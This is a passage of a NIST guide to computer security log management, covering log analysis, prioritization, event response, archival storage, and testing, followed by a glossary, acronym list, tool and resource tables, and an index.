comprise a significant percentage of the log entries, this is not as difficult as it may first 5-5 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT sound.) Daily log reviews sho uld include those entries that have been deemed most like ly to be important, as well as some of the entries that are not yet fully unde rstood. Because it can take considerable effort to understand the sign ificance of most log entries, the initial days, weeks, or even months of performing the log analysis process are the most challenging and time-consuming. Over time, as the baseline of normal activity is broadened and deepened, the daily log reviews should take less tim e and be more focused on the most im portant log entries, thus leading to more valuable analysis results. Another motivation for understanding the log entries is so that the analysis process can be automated as much as possible. By determining which types of log entries are of interest and which are not, administrators can configure automated filtering of the log entries.59 This allows events known to be malicious to be recognized and responde d to automatically (e.g., alerting administrators, reconfiguring other security controls). Another purpose for filtering is to ensure that the manual analysis performed by administrators is prioritized appropriately. The filtering should be configured so that it presents administrators with a reasonable number of entries for manual analysis. One effective technique is to have two reports: one for the entries tho ught to be most important, and another for entries that are not yet fully unde rstood. Both reports should be reviewed regularly, but th e first report should be treated as a higher priority than the second report. If the review of the second report is not performed frequently, the logging baseline might not be expanded and refined sufficiently. 5.2.2 Prioritizing Log E ntries Prioritizing the analysis of log entries can be challenging . Although some log sources assign their own priorities to each entry, these priorities often use inconsistent scales or ratings (e.g., high/medium/low, 1 to 5, 1 to 10), which makes it challenging to compare priority values. Also, the criteria used by different products to prioritize entries are likely to be based on different sets of requirements, som e or all of which might be inconsistent with the organization’s requirements. Accordingly, organizations should consider assigning their own priorities to log entries based on a combination of factors, including the following:  Entry type (e.g., message code 103, message class CRITICAL)  Newness of the entry type (i.e., has this type of entry appeared in the logs before?)  Log source  Source or destination IP address (e.g., source address on a blacklist, destination address of a critical system, previous events involvi ng a particular IP address)  Time of day or day of the week (e.g., an entry might be acceptable during certain times but not permitted during others)  Frequency of the entry (e.g., x times in y seconds). Prioritization might also include the use of correlation to provide context for log entries so that they can be validated. For example, suppo se that host-based intrusion detection software monitors an apparent file modification attack on a system. If the host’s OS log contains an auditing entry that indicates the file was modified successfully, and the data from the two log entries is correlated toge ther, it would provide a stronger assurance of a successful attack than either log so urce would alone, and it would also likely contain more data on the attack than either individual source would have recorded. Another example of using correlation as a factor for prioritization is using information on known vulnerabilities in the 59 As described in Section 3.1, filtering does not alter the content of the original logs—it simply restricts which log entries are used for analysis. The filtered entries in the original log data might be needed for any num ber of reasons, including providing context for other entries and identifying long-term security problems through trend analysis. 5-6 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT organization’s installed operating systems and applications to assign a higher priority to log entries that are related to these vulnerabilities. 5.2.3 Comparing System-Level and Infrastructure-Level Analysis Analysis is typically very similar for system-level and infrastructure administrators. The main difference is that for infrastructure administrators, log analysis is often a primary responsibility, whereas for system- level administrators it is often a secondary responsibility, particularly if the infrastructure administrators are reviewing the most im portant log entries from systems. In such an arrangement, infrastructure administrators typically perform log analysis on an ongoin g basis each day, and system-level administrators perform periodic reviews (e.g., daily, weekly) commensurate with the criticality of each system and its information. Also, infrastructure administrators might have access to more sophisticated tools than system-level administrators do b ecause it is cost-prohibitive to have them available for all systems. Regardless of how much analysis is performed at the infrastructure level, system-level administrators usually need to perform analysis for the following types of entries:  Entries that are of interest or importance at the system level but a re not forwarded to the infrastructure because of their relative priority  Entries for log sources that cannot automatically participate in the infrastructure (e.g., unusual proprietary formats, standalone systems, legacy systems, appliances)  Entries that cannot be understood without context that is only available at the system level. System-level administrators can usually perform their reviews and analysis using a variety of tools and techniques. On some systems, particularly those with many log sources, it is effective to establish a local log infrastructure and store the data from all of the system’s log sources there. On other systems, especially for proprietary log formats, administrators might perform separate analysis of each log source using format-specific log viewers, reduction tools, and other utilities. Another possibility is to export log data to a database and perform queries on the database. Database queries can be an excellent way to filter log data for analysis purposes.60 If mos t of the analysis process can be automated, it might be feasible to create an analysis report each day and present it to the administrator for review. The administrator can perform further investigation as needed of significant events identified by the report. To perform effective reviews and analysis, system-level and infrastructure administrators should have solid unde rstanding of each of the following from training or hands-on experience:  The organization’s poli cies regarding acceptable use, so that administrators can recognize violations of the policies  The security software used by their hosts, including the types of security-related events that each program can detect and the general detection profile of each program (e.g., known false positives)  The operating systems and major applications (e.g., e-mail, Web) used by their hosts, particularly each OS’s and major application’s security and logging c apabilities and characteristics 60 There can be serious performance problems with database queries, particularly if the database contains a large number of events, has a poorly-designed schema, or is not maintained well. The complexity of the query also has a major effect on the amount of time needed to exec ute a query. On some databases of log events, a single query could take many hours to run. 5-7 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  The characteristics of common attack techniques, especially how the use of these techniques might be recorded on each system  The software needed to perform analysis, such as log viewers, log reduction scripts, and da tabase query tools. Organizations often require system-level administrators to report the results of their analysis to infrastructure administrators. This helps to ensure that the system-level administrators are performing log analysis on a regular basis. The information in the reports is also of value to the infrastructure administrators because they can review it and identify patterns of activity that cannot be seen at the individual system level. For example, infrastructure administrators could see that the same attack was attempted on several systems. Infrastructure administrators can also disseminate information learned from analysis reports to the system-level administrators so that they can more easily recognize similar activity on their own systems. Infrastructure administrators should also create reports that sum marize the results of their own analysis activity, and possibly also sum marize the reports from system-level administrators. Regularly sharing the highlights of reports with management, particularly the problems that were identified and corrected as a result of analysis efforts, demonstrates the benefits of log management to the organization’s management. 5.3 Respond to I dentified Events During their log analysis, infrastructure and system-level administrators may identify events of significance, such as incidents and operational problems, that necessitate some type of response. When an administrator identifies a likely computer security incident, as defined by the organization’s incident response policies, the administrator should follow the organization’s incident response procedures to ensure that it is addressed appropriately. Examples of computer security incidents include a host being infected by malware and a person ga ining unauthorized access to a host. Administrators should perform their own responses to non- incident events, such as minor operational problems (e.g., misconfiguration of host security software). Some organizations require system-level administrators to report incidents and logging-related operational problems to infrastructure administrators so that the infrastructure administrators can better identify additional instances of the same activities and patterns that cannot be seen at the individ ual system level. Infrastructure and system-level administrators should also be prepared to assist incident response teams with their efforts. For example, when an incident occurs, affected system-level administrators may be asked to review their systems’ logs for particular signs of malicious activity or to provide copies of their logs to incident handlers for further analysis. Administrators should also be prepared to alter their logging configurations as part of a response. Adverse events suc h as worms often cause unusually large numbers of events to be logge d. This can cause various negative impacts, such as slowing system performance, overwhelming logging processes, and overwriting recent log entries. Analysts may not be able to see other events of signi ficance because their records are hidde n among all of the other log entries. Accordingly, administrators may need to reconfigure loggi ng for the short term, long term, or permanently, depending on the source of the log data, to prevent it from overwhelming the system and the logs. Administrators may also need to adjust logging to capture more data as part of a response effort, such as collecting additional information on a particular type of activity. To identify similar incidents, especially in the short term, administrators may need to perform additional log monitoring and analysis, such as more closely examining the types of logg ing sour ces that recorded pertinent information on the initial incident. 5-8 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 5.4 Manage Long-Te rm Log Da ta Storage Adm inistrators typically are responsible for managing the storage of their logs. They should be aware of the organization’s requirements and guidelines for log data storage, so that logs are retained for the required period of time. If log data has already been transferred to the log management infrastructure, system-level administrators might not need to do any long -term storage of log data. If administrators need to store the log data for a retention period, and this period is relatively short (days or weeks), it might be adequate to keep them online and capture them in regular system backups. If the retention period is relatively long (months or years), administrators typically need to do the followi ng:  Choose a log format for the data to be archived. If the logs are in a proprietary format, administrators should determine whether the logs should be archived in that format, in a standard format, or both. It might be difficult to read a proprietary format log years later (e.g., the software that generated it is no longe r available or no longe r suppo rts the format). However, proprietary format logs might contain additional and more detailed information not present in standard format logs, so it might be valuable to archive such logs in both proprietary and standard formats, if sufficient archival storage space is available.  Archive the log data. Possible media format choices include backup ta pes, CDs, DVDs, storage area networks (SAN), and specialized log archival appliances or servers. When selecting a media format, administrators should be mindful of the retention period for the data. If a particular type of media is only intended to last for five years, and the log data needs to be retained for longe r than that, either another type of media should be chosen or plans sho uld be made to transfer the data from one media to another within the next five years. Administrators should also consider whether the hardware and software needed to access the media are likely to still be available at the end of the retention period. Administrators should periodically review the formats of archived media to determine if any are at risk of becoming inaccessible, then transfer any such data from one media to another.  Verify the integrity of the transferred logs. As described in Section 3.1, this is typically done through the creation of message digests for each log file. If a log file is changed and its message digest recalculated, the new message dige st will not match the old message digest. Adm inistrators should compare the message dige st for each original log with the message dige st for each copy of the log file to ensure that the file has not been changed during transfer.  Store the media securely. Administrators are responsible for ensuring that the media receives adequate physical protection. The first component of this is preventing unauthorized physical access, which typically invo lves keeping the media in a secure area and monitoring access to the secure area. The second component of physical protection is ensuring that the proper environmental controls are in place, such as humidity and temperature controls, and protection from water, magnetism, and other things that might damage media. Als o, archival media is often stored at an offsite facility. Adm inistrators are also responsible for ensuring that the archived logs are destroyed properly when the required data retention period has ended. This includes logs stored on systems, regular backups, and archival media. Administrators should follow their organization’s media sanitization policies and procedures when destroying the logs. Exa mples of how logs might be destroyed include logical 5-9 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT destruction (e.g., repeatedly overwriting data with random values) and physical destruction (e.g., shredding media, degaussing hard drives).61 5.5 Provide Other Operational Support In addition to the operational processes described earlier in this section, infrastructure and system-level administrators need to provide additional types of suppo rt for logging operations. They should perform the following actions regularly:  Monitor the logg ing status of all log sources to ensure that each source is enabled, configured properly, and functioning as expected.  Monitor log rotation and archival processes to ensure that logs are archived and cleared correctly and that old logs are destroyed once they are no longe r needed. Log rotation monitoring should also include regular checks through automated or manual means of the remaining space available for logs.62  Check for upgrades and patches for logging software; acquire, test, and deploy the updates.  Ensure that each system’s clock is synched to a common time source so that its tim estamps will match those generated by other systems.  Reconfigure logging as needed based on factors such as policy changes, audit findings, technology changes, and new security needs.  Document anomalies detected in log settings, configurations, and processes. Suc h anomalies might indi cate malicious activity, deviations from policy and procedures, and flaws in loggi ng mechanisms. System-level administrators should report anomalies to infrastructure administrators. 5.6 Perform Testing and V alidation Organizations sho uld perform testing and validation activities periodically to confirm that the organization’s logging policies, processes, and procedures are being followe d properly both at the infrastructure level and the system level throughout the organization. Log management audits can identify deficiencies in policies, procedures, technolo gy, and training that can then be addressed. Audits can also be helpful in identifying effective practices, such as particular configuration or filtering settings, that may be beneficial for use on other systems. The most common techniques for testing and validating l oggin g are as follows:  Passive. Auditors or others performing testing and validation can review the logging configuration and settings, as well as the system logs, infrastructure logs, and archived logs, for a representative sampling of systems and infrastructure servers to ensure that they comply with policies and procedures.  Active. Auditors (or security administrators under the direction of auditors) or others performing testing and validation can create security events on a representative sampling of systems through 61 For more information on media sanitization, see NIST SP 800-88, Guidelines for Media Sanitization. It is available at http://csrc.nist.gov/publications/nistpubs/. 62 Many administrators place log files on a separate partition. This helps to ensure that disk space intended to be used for logs is not unex pectedly consumed by user data and other files on the system. Also, administrators can monitor the free space available for logs more easily by having the logs in a single location. 5-10 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT vulnerability scanning , penetration testing , or routine actions (e.g., logging onto a system remotely), and then ensure that the log data those activities sho uld generate exists and is handled according to the organization’s policies and procedures. Most testing and validation efforts use primarily passive methods. Active methods are often more effective than passive methods because active methods perform actual testing of the logging processes, but active methods are also more resource-intensive. Also, som e active methods suc h as penetration testing could inadvertently disrupt sy stem functionality or create the appearance that a serious computer security incident has occurred, so they should only be used with proper approval from management and with coordination with operational and security staff. In some cases, active methods are used not only to test and validate logg ing, but a lso to audit other functions. For example, by using active methods without notifying the log management sta ff and others involve d in daily operations, an auditor could evaluate how effectively the organization performs incident handling in response to suspi cious activity (the auditors’ active methods) recorded in logs. Organizations sho uld conduct periodic audits of the security of the log management infrastructure itself and a representative sampling of the log generators. This should be performed as a risk assessment, taking into account the threats that the hosts at each tier of the log management infrastructure face and the security controls in place to stop those threats. Specific security objectives include the following:  The infrastructure log servers are fully hardened and can perform functions in suppo rt of log management only  The systems generating logs are secured appropriately (e.g., fully patched, unneeded services disabled)  Access to both system-level and infrastructure logs and loggin g software (both on the hosts and on media) is strictly limited, and the integrity of the logs and software is protected and verified  All network commu nications involving log data are protected appropriately as needed. Organizations sho uld also review the design of the log management infrastructure periodically, and implement changes as needed. Possible reasons for altering the design include taking advantage of improvements and enhancements to log management software, handling larger volumes of log data, and addressing a need for stronger security controls. Periodic reviews of log management processes and procedures should also be conducted so that log management continues to be effective at detecting the latest threats in changing environments. 5.7 Summa ry System-level and infrastructure administrators should follow standard processes for managing the logs for which they are responsible. The major operational processes for log management are configuring log sources, performing log analysis, initiating responses to identified events, and managing long-term data storage. System-level administrators need to configure log sources so that they capture the needed information in the desired format and locations, as well as retain the information for the appropriate period of time. When planning logging configurations, system-level administrators should consider the effect of the configuration not only on the logging host, but also on other log management infrastructure components. System-level administrators also need to configure log sources to perform log rotation, preferably both at a regular time and when a maximum log size is reached. System-level administrators also need to configure systems to act appropriately when a log that cannot be rotated automatically becomes full. 5-11 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT System-level and infrastructure administrators have other respon sibilities as well, such as ensuring that old logs are destroyed when no longer needed, in compliance with the organization’s logging , data retention, and media sanitization policies. They also need to protect the confidentiality, integrity, and availability of logs on systems, in storage, and in transit. Another duty is to provide ongoing suppo rt for systems’ logging operations, such as monitoring loggi ng status, monitoring log rotation and archival processes, and acquiring, testing , and deploying updates to loggin g software. Organizations need to decide how to divide log analysis duties between the system level and the infrastructure level, and then provide adequate suppo rt to the administrators so that log management is performed effectively throughout the organization. When determining how to divide analysis respon sibilities, organizations should focus on the relative importance of different types of entries and the context necessary to unde rstand each log entry’s true meaning. The key to performing analysis is unde rstanding the typical activity associated with each system. The most effective way to gain this unde rstanding is to review and analyze portions of the log data every day. Daily log entries sho uld include those entries that have been deemed most likely to be important, as well as some of the entries that are not yet fully unde rstood. Understanding typical log entries is also helpful in configuring automated filtering of log entries. To assist in focusing attention on the most im portant log entries, organizations should consider assigning their own priorities to each log entry based on a combination of several factors. System-level administrators need to perform analysis of their log data in essentially the same way as infrastructure administrators. System-level administrators usually perform analysis for log entries that are not sent to the infrastructure, as well as entries that cannot be understood without context that is only available at the system level. When administrators performing analysis find an event of significance, they should follow the organization’s incident response procedures to ensure it is addressed appropriately, or perform their own response if it is a non-incident event, such as a minor operational problem. Adm inistrators should be prepared to alter their logging c onfigurations as part of a response, either to prevent an event from overwhelming the system and its logs, or to collect additional information on an event. Organizations sho uld perform testing and validation activities periodically to confirm that that the organization’s logging policies, processes, and procedures are being followe d both at the infrastructure level and the system level througho ut the organization. Organizations should also review the design of the log management infrastructure periodically and implement changes as needed. Periodic reviews of log management pr ocesses and procedures should also be conducted so that log management continues to be effective at detecting the latest threats in changing environments. 5-12 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Appendix A—Glossary Selected terms used in the Guide to C ompute r Security Log M anage ment are defined below. Aggr egation: See “Event Agg regation”. Computer Security Log Management: Log management for computer security log data only. Correlation: See “Event Correlation”. Event: Something that occurs within a system or network. Event Aggr egation: The consolidation of similar log entries into a single entry containing a count of the number of occurrences of the event. Event Co rrelation: Finding relationships between two or more log entries. Event F iltering: The suppr ession of log entries from analysis, reporting, or long-term storage because their characteristics ind icate that they are unlikely to contain information of interest. Event Red uction: Removing unneeded data fields from all log entries to create a new log that is smaller. Facility: The message type for a syslog message. Log: A record of the events occurring within an organization’s systems and networks. Log An alysis: Stud ying log entries to identify events of interest or supp ress log entries for insignificant events. Log Ar chival: Retaining logs for an extended period of time, typically on removable media, a storage area network (SAN), or a specialized log archival appliance or server. Log Cl earing: Removing all entries from a log that precede a certain date and time. Log Com pression: Storing a log file in a way that reduces the amount of storage space needed for the file without altering the meaning of its contents. Log Conversion: Parsing a log in one format and storing its entries in a second format. Log E ntry: An individual record within a log. Log File Integrity Checking: Com paring the current message digest for a log file to the original message digest to determine if the log file has been modified. Log M anagement: The process for generating, transmitting, storing, analyzing, and disposing of log data. Log Management Infrastructure: The hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data. Log Nor malization: Converting each log data field to a particular data representation and categorizing it consistently. A-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Log Parsing: Extracting data from a log so that the parsed values can be used as input for another logging process. Log Preservation: Keeping logs that normally would be discarded, because they contain records of activity of particular interest. Log Re duction: Removing unne eded entries from a log to create a new log that is smaller. Log Re porting: Displaying the results of log analysis. Log Retention: Archiving logs on a regular basis as part of standard operational activities. Log Rotation: Closing a log file and opening a new log file when the first log file is considered to be complete. Log Vi ewing: Displaying log entries in a human-readable format. Message Digest: A digital sign ature that uniquely identifies data and has the property that changing a single bit in the data will cause a completely different message digest to be generated. Normalization: See “Log Normalization”. Rule-Based E vent Correlation: Correlating events by m atching multiple log entries from a single source or multiple sources based on logge d values, such as timestamps, IP addresses, and event types. Security Information and Event Management Software: A program that provides centralized logging capabilities for a variety of log types. Syslog: A protocol that specifies a general log entry format and a log entry transport mechanism. A-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Appendix B—Acrony ms Selected acronyms used in the Guide to C ompute r Security Log M anage ment are defined below. CERT®/CC CERT® Coordination Center CIO Chief Information Officer CMVP Cryptographic Module Validation Program COTS Commercial Off-t he-Shelf EPS Events Per Second FFMIA Federal Financial Management Improvement Act FIPS Federal Information Processing Standard FISMA Federal Information Security Management Act FTP File Transfer Protocol GLBA G ramm-Leach-Bliley Act GOT S Government Off-t he-Shelf GRS General Records Schedule GUI Graphical User Interface HIPAA Health Insurance Portability and Accountability Act HTTP Hypertext Transfer Protocol IDMEF Intrusion Detection Message Exchange Format IDS Intrusion Detection System IETF Internet Engineering Task Force IP Internet Protocol IPsec Internet Protocol Security IT I nformation Technology ITL Information Technology Laboratory MB Megabyte NARA National Archives and Records Administration NIST National Institute of Standards and Technology NTP Network Time Protocol OMB Office of Management and Budget OS Operating System PCI DSS Payment Card Industry Data Security Standard RFC Request for Comments SAN Storage Area Network SEM Security Event Ma nagement SHA Secure Hash Algorithm SIEM Security Information and Event Management SIM Security Information Management SNMP Simple Network Management Protocol B-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT SOHO Small Office/Home Office SOX Sarbanes-Oxley Act SP Special Publication SSH Secure Shell SSL Secure Sockets Layer TCP Transmission Control Protocol TLS Transport Layer Security UDP User Datagram Protocol URL Uniform Resource Locator US-CERT United States Computer Emergency Readiness Team VLAN Virtual Local Area Network VPN Virtual Private Networking XML Extensible Markup Language B-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Appendix C—Tools and Re sourc es The lists be low provide examples of tools and resources that may be helpful in understanding log management. Print Resourc es Babbin, Jacob et al, Security Log Manage ment: Identifying P atterns in the Chao s, Syngress, 2006. Bauer, Michael D., Chapter 10 (System Log Management and Monitoring) of Building Secure Servers with L INUX, O’Reilly, 2002. Giuseppini , Gabriele, Microsoft L og Parser Toolkit, Syngress, 2005. Maier, Phillip Q., Audit and Trace Log M anagement: Consolidat ion a nd Ana lysis, Auerbach, 2004. Singer, Abe and Bird, Tina, Build ing a L ogging Infrastructure, USENIX Association, 2004. Resourc e Sites Organization URL CERT ® Coordination Center (CERT®/CC) http://www.cert.org/ Cryptographic Module Validation Program (CMVP) http://csrc.nist.gov/cryptval/ IETF E xtended Incident Handling w orking group http://www.ietf.org/html.charters/inch-charter.html IETF S ecurity Issues in Network Event Logg ing working gr oup http://www.ietf.org/html.charters/syslog-charter.html IETF S yslog w orking group http://www.employees.org/~lonvick/index.shtml LogA nalysis mailing list archive http://lists.shmoo.com/mailman/listinfo/logan alysis LogA nalysis.Org http://www.logana lysis.org/ LogB log http://blog.loglogic.com/ SANS I nstitute http://www.sans.org/ SANS Institute Log Analysis mailing list archive http://lists.sans.org/mailman/listinfo/log-analysis SANS Institute Webcast Archive http://www.sans.org/webcasts/archive.php Syslog.org http://www.syslog.org/ Talisker Security Wizardry Portal http://www.networkintrusion.co.uk/ The Unofficial Log Parser Suppo rt Site http://www.logparser.com/ United States Computer Emergency R eadiness Team (US-CERT ) http://www.us-cert.gov/ C-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Resource D ocuments Title URL Advanced Log Processing, by Anton Chuvakin http://www.securityfocus.com/infocus/1613 Computer Records and the Feder al Rules of Evidence , Orin S. Kerr, Department of Justice http://www.usdoj.gov/criminal/cybercrime/usamarch2001_ 4.htm FIPS 1 80-2, Secure Hash Standard http://csrc.nist.gov/publications/fips/fips180 -2/fips180- 2withchange notice.pdf Internet-Draft, Requirements for the Format for Incident Information Exchang e (FINE) http://www.ietf.org/internet-drafts/draft-ietf-inch-requirements- 08.txt Internet-Draft, The Incident Object Description Exchange Format Data Model and XML Implementation http://www.ietf.org/internet-drafts/draft-ietf-inch-iodef-07.txt Internet-Draft, The Intrusion D etection Exchange Protocol (IDXP) http://www.ietf.org/internet-drafts/draft-ietf-idwg-beep-idxp-07.txt Internet-Draft, The Intrusion D etection M essage Exchange Format http://www.ietf.org/internet-drafts/draft-ietf-idwg-idmef-xml-16.txt NIST SP 800-40 version 2, Creating a P atch and V ulnerability Managem ent Program http://csrc.nist.gov/publications/nistpubs /800-40-Ver2/SP800- 40v2. pdf NIST SP 800-41, Guidelines on Fi rewalls and Firewall Policy http://csrc.nist.gov/publications/nistpubs /800-41/sp80 0-41.pdf NIST SP 800-52, Guidelines f or the Selection and U se of Transport Laye r Security (TLS) Implementations http://csrc.nist.gov/publications/nistpubs /800-52/SP800-52.pdf NIST SP 800-53, Recommended S ecurity Controls for Fede ral Information Systems http://csrc.nist.gov/publications/nistpubs /800-53/SP800-53.pdf NIST SP 800-61, Computer Security Incident Handling G uide http://csrc.nist.gov/publications/nistpubs /800-61/sp80 0-61.pdf NIST SP 800-70, Security Configuration Checkl ists Program for IT Products—Guidance for Checklists Users and D evelopers http://csrc.nist.gov/checklists/download_s p800- 70.html NIST SP 800-83, Guide to Malware Incident Preven tion and H andling http://csrc.nist.gov/publications/nistpubs /800-83/SP800-83.pdf NIST SP 800-86, Guide to Integrating For ensic Techni ques i nto Incident Response http://csrc.nist.gov/publications/nistpubs /800-86/SP800-86.pdf NIST SP 800-88, Guidelines f or Media Sanitization http://csrc.nist.gov/publications/nistpubs /800-88/SP800- 88_A ug2006 .pdf NIST SP 800-94 (DRAF T), Guide to Intrusion Detection and P reven tion (IDP) Systems http://csrc.nist.gov/publications/drafts.html RFC 2246 , The TLS Protocol Version 1. 0 http://www.ietf.org/rfc/rfc2246 .txt RFC 3164 , The BSD Syslog Protocol http://www.ietf.org/rfc/rfc3164 .txt RFC 3195 , Reliable Delivery for Syslog http://www.ietf.org/rfc/rfc3195 .txt SANS I nstitute, Top 5 Essential Log R eports http://www.sans.org/resources/top5_ logreports.pdf C-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Comm on Log Form at and E vent Inform ation63 Log Ty pe URL Firewall logging and monitoring http://www.logana lysis.org/sections/parsing/application- specific/firewall-logging.html Linux system log management and monitoring http://www.oreilly.com/catalog/bssrvrlnx/chapter/ch10.pdf (excerpt of Building Secure Servers with LINUX by Michae l D. Bauer) Microsoft log events (Events and Errors Message Center) http://www.microsoft.com/technet/suppo rt/ee/ee_advance d.aspx Microsoft Window s 2000 logs Chapter 9, “Auditing and Intrusion Detection”, of Securing Windows 2000 Server, http://www.microsoft.com/technet/security/prodtech/windows200 0/secwin2k/default.mspx Microsoft Window s Security Log Encyclopedia http://www.ultimatewindow ssecurity.com/encyclopedia.html Microsoft Window s Server 2003 logs http://www.microsoft.com/technet/security/prodtech/windowsserv er2003/ w2003h g/sgch00 .mspx Microsoft Window s log manage ment script http://suppo rt.microsoft.com/?id=318 763 Microsoft Window s XP event log manage ment http://suppo rt.microsoft.com/?scid=308427 Web server common log file format http://www.w3.org/Daemon/User/Config/Logging.html Comm on S yslog S erver Implementations64 Name URL Kiwi Sy slog http://www.kiwisyslog.com/info_syslog.htm Metalog http://metalog.sourceforge.net/ Modular Syslog (Msyslog) http://sourceforge.net/projects/msyslog/ nsyslog http://coombs.anu.edu.au/~ava lon/nsyslog.html rsyslog http://www.rsyslog.com/ San D iego Supercomputer Center (SDSC) Secure Syslog http://sourceforge.net/projects/sdscsyslog/, http://security.sdsc.edu/software/sdsc-syslog/ Syslog New Generation (Syslog-ng) http://freshmeat.net/projects/syslog-ng/, http://www.balabit.com/products/syslog-ng/ WinSyslog http://www.winsyslog.com/en/ 63 Many Unix and Linux systems use syslog as their primary log format. The Common Syslog Server Implementations table in this appendix contains pointers to additional information on syslog formats and event information. 64 The applications referenced in this table are by no means a complete list of applications to use for syslog server implementations, nor does this publication imply any endo rsement of certain products. C-3 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Comm on S IEM Produc ts65 Name Vendor URL ArcSight Enterprise Security Manage r (ESM) ArcSight http://www.arcsight.com/product.htm Cisco Security Monitoring, Analysis and R esponse System (MARS) Cisco Systems http://www.cisco.com/en/US/produc ts/ps624 1/index .html Consul InSight Consul Risk Manage ment http://www.consul.com/Content.asp? id=54 Enterprise System Analyzer eIQnetworks http://www.eiqnetworks.com/produc ts/EnterpriseSe curityAnalyzer.shtml enVision Network Intelligence http://www.network- intelligence.com/Product/eFeatures/base lines.asp eTrust Audit Computer Associates http://www3 .ca.com/solutions/Produc t.aspx?ID=15 7 eTrust Security Command Center (SCC) Computer Associates http://www3 .ca.com/solutions/SubSolution.aspx?ID =4350 EventTracker Prism Microsystems http://www.eventlogmanage r.com/ High Tower High Tower Software http://www.high-tower.com/produc ts.asp Intellitactics Security Manage r Intellitactics http://www.intellitactics.com/ InTrust Quest Software http://www.quest.com/intrust/ Log C orrelation Engine Tenable Network Security http://www.tenablesecurity.com/produc ts/lce.shtml LogC aster RippleTech http://www.rippletech.com/products/ LogLog ic LogLogic http://www.loglogic.com/produc ts/ LogR hythm LogRhythm http://www.logrhythm.com/solutions.html nFX netForensics http://www.netforensics.com/ Netcool/NeuSecure IBM http://www.micromuse.com/sols/dom_man/sec_ma n.html NetIQ Security Manage r NetIQ http://www.netiq.com/products/sm/default.asp Open Source Security Information Manage ment (OSSIM) Open source project http://www.ossim.net/, http://sourceforge.net/projects/os-sim/ QRadar Network Security Manage ment Q1Lab s http://www.q1labs.com/content.php?id=175 Security Information Manager Symantec http://www.symantec.com/Products/enterprise?c=p rodinfo&refId=929& cid=100 4 Security Manage ment Center (SMC) OpenService http://www.openservice.com/produc ts/smc.jsp SenSage SenSage http://www.sensage .com/produc ts-sensage .htm Sentinel Novell http://www.nove ll.com/produc ts/sentinel/ Snare Server InterSect Alliance http://www.intersectalliance.com/snareserver/index. html TriGeo Security Information Manage r (SIM) TriGeo Network Security http://www.trigeo.com/produc ts/ 65 The applications referenced in this table are by no means a complete list of applications to use for SIEM, nor does this publication imply any endo rsement of certain products. This table uses a broad definition of SIEM, so products that are SIM or SEM-specific may be included. C-4 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Comm on Fre e Log M anagement Utilities66 Name Type URL fwlogwatch Log analyzer http://fwlogwatch.inside-security.de/ Log P arser Log pa rser http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd 06b-abf8-4c25-91b2 -f8d975c f8c07&displaylang=e n Log Too l Log pa rser http://xjack.org/logtool/ LogS entry (formerly know n as Logche ck) Log ana lyzer http://logcheck.org/, http://sourceforge.net/projects/logcheck/ Logsur fer Log analyzer http://www.cert.dfn.de/eng/logsu rf/ Logw atch Log analyzer http://www.logwatch.org/ Project Lasso Windows event log manage ment http://sourceforge.net/projects/lassolog Swatch Log analyzer http://swatch.sourceforge.net/ 66 The applications referenced in this table are by no means a complete list of applications to use as log management utilities, nor does this publication imply any endo rsement of certain products. Additional listings of common log management utilities are available from the LogAnalysis.org Web site at http://www.loganalysis.org/. C-5 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT This page has been left blank intentionally. C-6 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Appendix D—Index Intrusion prevention system log, 2-2 A L Aggregation. See Event aggregation Log, 2-1 Aggregator, 3-1 Log anal ysis, 2-10, 3-1, 4-2, 4-5, 5-5 Antimalware software log, 2-2 Prioritization, 5-6 Anti-spyware software log, 2-2 Reporting, 5-8 Antivirus software log, 2-2 Log archival, 3-3, 5-4, 5-9 Application log, 2-1, 2-4 Log cl earing, 3-5 Audit log, 2-1 Log compression, 3-4 Audit record, 2-4 Log content, 2-8 Authentication server log, 2-2 Log conversion, 3-4 Log conversion utility, 3-11 C Log data volume, 2-9 Log disposal, 4-4, 5-4, 5-9 Collector, 3-1 Log entry, 2-1 Computer security log. See Log Log file integrity checking, 3-4 Context, 5-5 Log format, 2-9, 5-9 Correlation. See Event correlation Log generation, 2-8, 3-1, 4-4, 5-1 Log management, 2-1 D Challenges, 2-8 Duties, 4-1 Data retention policy, 4-7 Environments, 4-8 Motivation, 2-7 E Operational processes, 5-1 Policy, 2-10, 4-4, 4-7 Entry. See Log entry Preparation, 4-1 Event aggregation, 3-3 Priority, 2-10 Event correlation, 3-4, 3-10 Procedures, 2-10 Event filtering, 3-3 Roles and responsibilities, 4-1 Event reduction, 3-4 Standard processes, 4-1 Event response, 5-8 Suppo rt, 2-11 Testing and validation, 5-10 F Log management infrastructure, 2-10, 3-1, 3-2 Architecture, 3-1 Fede ral Financial Management Improvement Act (FFMIA), 4-6 Design, 4-9, 5-11 Log monitoring, 3-1 Fede ral Information Sec urity Management Act of 2002 (FISMA), 2-7 Log normalization, 3-4 Log parsing, 3-3 Firewall log, 2-3 Log preservation, 2, 3-3, 4-7 Log protection, 2-9 G Log reduction, 3-4 Log reporting, 3-5 Gramm-Leach-Bliley Act (GLBA), 2-7 Log retention, 3-3 Log rotation, 3-3, 5-3 Log rotation utility, 3-11 H Log security, 5-4 Log sources Health Insurance Portability and Accountability Act of 1996 (HIPAA), 2-7 Configuration, 5-1 Log storage, 2-8, 3-1, 4-4, 5-2, 5-9 Log transmission, 4-4 I Log trustworthiness, 2-7 Log usefulness, 2-6 Intrusion Detection Message Exchange Format (IDMEF), 2-8 Log vi ewing, 3-5 Logging network, 3-2 Intrusion detection system, 3-10 